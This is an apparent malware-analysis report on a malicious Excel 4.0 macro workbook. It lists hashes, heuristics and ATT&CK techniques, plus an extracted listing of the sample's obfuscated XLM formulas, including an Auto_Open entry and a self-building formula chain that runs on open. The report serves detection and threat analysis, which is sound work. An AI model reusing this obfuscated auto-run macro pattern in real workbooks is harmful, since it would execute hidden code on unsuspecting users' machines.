Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3573b014d60f7a8b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:20 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: c286d67e910638a586e94d9566b3d287 SHA-1: 5eb7928b0d4e9422f997209091ac318ce173fc65 SHA-256: 3573b014d60f7a8bd651ee94c128c8c677fe15f6b52305268561257fc14656db
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The macro sheet contains references to dangerous functions like RUN, suggesting it is designed to download and execute a secondary payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6629 bytes
SHA-256: f20424a9f50c33cc966169d78447b6dd067aab98d433913de4180d5df74b845f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pVuaclatBNa
' 0018     20 LABEL : Cell Value, String Constant - ashJo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F165 
' 0018     20 LABEL : Cell Value, String Constant - cdNhM len=0 
' 0018     21 LABEL : Cell Value, String Constant - Elrued len=0 
' 0018     21 LABEL : Cell Value, String Constant - emTbfU len=0 
' 0018     22 LABEL : Cell Value, String Constant - hxrPEfB len=0 
' 0018     20 LABEL : Cell Value, String Constant - IMatr len=0 
' 0018     24 LABEL : Cell Value, String Constant - jEdDZTmoJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - KbavNdPOXZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - lMSpB len=0 
' 0018     20 LABEL : Cell Value, String Constant - MkNWR len=0 
' 0018     21 LABEL : Cell Value, String Constant - NbTTyI len=0 
' 0018     21 LABEL : Cell Value, String Constant - QFtTXD len=0 
' 0018     24 LABEL : Cell Value, String Constant - QvaxmVYbE len=0 
' 0018     26 LABEL : Cell Value, String Constant - tbHgyGfBgHq len=0 
' 0018     20 LABEL : Cell Value, String Constant - tyrXX len=0 
' 0018     25 LABEL : Cell Value, String Constant - UuqRFWtSuc len=0 
' 0018     24 LABEL : Cell Value, String Constant - XdiXgJfwx len=0 
' 0018     22 LABEL : Cell Value, String Constant - xDzNKib len=0 
' 0018     22 LABEL : Cell Value, String Constant - ypGCPHp len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZEMIDN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pVuaclatBNa,F83,"SET.NAME("KbavNdPOXZ",VALUE("0"))",""
'  pVuaclatBNa,F85,"SET.NAME("IMatr",KbavNdPOXZ)",""
'  pVuaclatBNa,F87,"SET.NAME("hxrPEfB",KbavNdPOXZ)",""
'  pVuaclatBNa,F89,"SET.NAME("MkNWR",COUNTA(UuqRFWtSuc))",""
'  pVuaclatBNa,F91,"SET.NAME("ZEMIDN",COUNTA(ypGCPHp))",""
'  pVuaclatBNa,F96,[],""
'  pVuaclatBNa,F100,"SET.NAME("lMSpB","")",""
'  pVuaclatBNa,F104,"IMatr",""
'  pVuaclatBNa,F108,"SET.NAME("NbTTyI",HLOOKUP("*",UuqRFWtSuc,IMatr,FALSE))",""
'  pVuaclatBNa,F112,"emTbfU",""
'  pVuaclatBNa,F116,"SET.NAME("tbHgyGfBgHq",KbavNdPOXZ)",""
'  pVuaclatBNa,F119,[],""
'  pVuaclatBNa,F121,"tbHgyGfBgHq",""
'  pVuaclatBNa,F125,"tyrXX",""
'  pVuaclatBNa,F127,"XdiXgJfwx",""
'  pVuaclatBNa,F129,"QvaxmVYbE",""
'  pVuaclatBNa,F131,"SET.NAME("xDzNKib",VALUE(HLOOKUP("*",ypGCPHp,QvaxmVYbE,FALSE)))",""
'  pVuaclatBNa,F136,"QFtTXD",""
'  pVuaclatBNa,F141,"lMSpB",""
'  pVuaclatBNa,F143,"hxrPEfB",""
'  pVuaclatBNa,F146,NEXT(),""
'  pVuaclatBNa,F150,"cdNhM",""
'  pVuaclatBNa,F152,"SET.NAME("f",INT(T(FORMULA(T(lMSpB)&"",""&T(cdNhM)))))",""
'  pVuaclatBNa,F156,"jEdDZTmoJ",""
'  pVuaclatBNa,F158,NEXT(),""
'  pVuaclatBNa,F163,RETURN(),""
'  pVuaclatBNa,F186,"SET.NAME("ashJo",F83)",""
'  pVuaclatBNa,F188,"UuqRFWtSuc",""
'  pVuaclatBNa,F193,"SET.NAME("ypGCPHp",R69C13)",""
'  pVuaclatBNa,F198,"SET.NAME("jEdDZTmoJ",207)",""
'  pVuaclatBNa,F203,"SET.NAME("Elrued",6)",""
'  pVuaclatBNa,F206,ashJo(),""
'  pVuaclatBNa,F207,HALT(),""